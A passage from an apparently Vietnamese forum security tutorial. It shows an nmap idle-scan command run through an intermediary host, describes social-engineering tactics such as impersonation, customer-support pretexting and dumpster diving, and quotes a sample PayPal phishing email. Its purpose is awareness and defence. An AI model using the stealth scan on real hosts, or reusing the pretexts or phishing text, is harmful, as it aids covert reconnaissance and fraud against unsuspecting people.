Trong demo máy chạy nmap để thực hiện scan có IP là : 192.168.1.6, máy trung gian có địa chỉ IP: 192.168.1.2, máy cần quét cổng (máy đích) có địa chỉ IP là 192.168.1.8. Giả sử cần kiểm tra port 7799 có mở hay không ? Thực hiện lệnh sau: nmap.exe -sI 192.168.1.2 192.168.1.8 -p 7799. Mặc định thì nmap sẽ nối đến máy trung gian port 80, có thể thay đổi cổng như sau: nmap.exe -sI 192.168.1.2:456 192.168.1.8 -p 7799.

Trong đoạn demo các bạn sẽ thấy nmap sẽ gửi nhiều SYN/ACK, mục đích của nó chỉ là kiểm tra xem thử IPID có tăng tuần tự hay không ? Do vậy để nhiều packet các bạn khó theo dõi nên seamoun đã tách ra những packet liên quan để các bạn dễ nhìn.

Toàn bộ demo của phần III các ban có thể download tại đây

Tấn công và phòng thủ hệ thống (Phần 2)


2. Social Engineering

Là phương thức tấn công đơn giản dựa trên yếu tố con người để xâm nhập vào hệ thống.

Hình thức của Social Engineering được chia thành hai loại

1. Humman-based: Tức là dựa trên khả năng giao tiếp của hacker đối với victim. Ví dụ như hacker có thể đóng giả một người chủ tài khoản và gọi điện đến ngân hàng để yêu cầu nhân viên ngân hàng cung cấp thông tin về tài khoản mà hacker có định chiếm đoạt.
2. Computer-based: Tức là sử dụng phương tiện là máy tính để có được thông tin mà hacker mong đợi. Nó khác với hình thức ở trên là :

Hình thức Humman-based có thể hacker đối thoại trực tiếp với victim hoặc các help desk … để có được thông tin mình cần (phụ thuộc vào nghệ thuật giao tiếp, nói ngọt người ta dễ tin  ). Hình thức computer-based là sử dụng những phương tiên như là email, scam page để lừa victim. Ví dụ của hình thức Computer-based là hacker có thể tạo một email có đường link đến các scam page về bankaccount chẳng hạn, và khi victim đọc thì có thể bị dẫn đến những scam page và cung cấp những thông tin quan trọng cho hacker. Ngoài ra nó còn có một tên gọi cho hình thức này là phishing
2.1 Humman-based nó có thể thuộc một trong những dạng sau

+ Đóng giả là một nhân viên hợp lệ trong một tổ chức: Hacker có thể đóng giả một nhân viên hợp lệ trong tổ chức từ đó moi thông tin khi đang đóng vai trò là nhân viên đó.

+ Đóng giả là một người quan trọng trong tổ chức (Ví dụ như sếp chẳng hạn). Ví dụ hacker đóng giả giám đốc một công ty A và gửi một message đến thư ký “Tôi là sếp … Hoàng đây  ! Tôi bỏ quên điện thoại điện ở nhà nên tôi dùng số này, cô có thể gửi …<thông tin quan trọng> … đến số máy này !!!”. Nói chung là trăm phương nghìn kế để nghĩ ra cách giả mạo. Chắc seamoun nghĩa bị lừa rồi mới biết chứ 1001 kiểu lừa không có kiểu lừa nào giống nhau cả.

+ Đóng giả client gọi đến customer support: Ví dụ hacker muốn chiếm đoạt một domain nào đó nó có thể dùng email để phishing victim gửi thông tin quan trọng đó là hình thức social engineering computer-based. Hacker có thể đóng giả là người chủ domain gọi đến customer support và đưa ra những thông tin của victim mà hacker tìm được qua quá trình footprinting để xác nhận với người customer support sau đó có thể yêu cầu gửi password về email của hacker …

+ Shoulder surfing : Hình thức này có nghĩa là hacker “dòm” user hoặc admin đang gõ phím. Ví dụ như thư ký cho giám đốc làm nội gián chẳng hạn. Khà khà :->

+ Dumpster diving: Hình thức này có nghĩa là lục loại thông tin từ trash, … để có được những thông tin quan trọng. Do vậy trên máy tính nên delete vĩnh viễn những tài liệu quan trọng. Nếu như backup tài liệu quan trọng thì cũng nên encrypt những tài liệu đó.

Như đã đề cập ban đầu Social Engineering phụ thuộc vào yếu tố con người do vậy theo seamoun social engineering là con đường dễ nhất, đơn giản nhất mà hacker có thể sử dụng để có được những thông tin quan trọng. Hình thức tấn công này nó luôn tồn tại vì nó phụ thuộc vào yếu tố con người, nếu như một customer support hay là nhân viên trong tổ chức không được đề cập đến kiểu tấn công này, và trainning cho nhân viên cách cách phòng chống thì rất rất dễ bị tấn công bởi hình thức này. Nhìn thì đơn giản không cần kỹ thuật nhưng seamoun nghĩ những thằng hacker nào mà hack thành công nhờ social engineering thì nó là cao thủ về nghệ thuật giao tiếp cũng những giỏi về mấy trò viết thư dụ victim. Chắc cũng tán gái giỏi   .

Không biết có ai trong HVA bị hình thức này tấn công không ? Chứ seamoun thì bị rồi, đóng giả anh JAL nói chuyện với mình ngon ơ, cách đây cũng phải 2 năm. Đoạn chat mất tiêu chứ không gửi lên đây cho mọi người xem cho vui.

Khi thương mại điện tử phổ biến ở Việt Nam thì hình thức tấn công này chắc là sử dụng nhiều đây ! Cách phòng chống hữu hiệu nhất chỉ có trainning và trainning … cho customer và staff biết và hiệu về social engineering attack.

Ví dụ một email mà hacker dụ victim để có được bank account. Seamoun lấy từ trang web http://www.millersmiles.co.uk/). Công nhận la mấy thằng nước ngoài viết thư dụ có nghệ thuật dễ sợ. Hổng biết có ai bị mấy cái email tiếng việt viết dụ chưa gửi lên đây để anh em biết mà lường trước được sự việc.

“We regret to inform you, that we had to lock your PayPal Access because we have reasons to believe that your account may have been compromised by outside parties.”

Dear member ,

We regret to inform you, that we had to lock your PayPal Access because we have reasons to believe that your account may have been compromised by outside parties. In order to protect your sensitive information, we temporaly suspended your account.

To reactivate your account, click on the link below and confirm your identity by completing the secure form what will appear.

https://www.paypal.com/us/cgi-bin/ webscr?cmd=_login-submit

We have seen unusual attempts for logging in regarding your personal account, therefore this confirmation regarding your account its only for security reasons.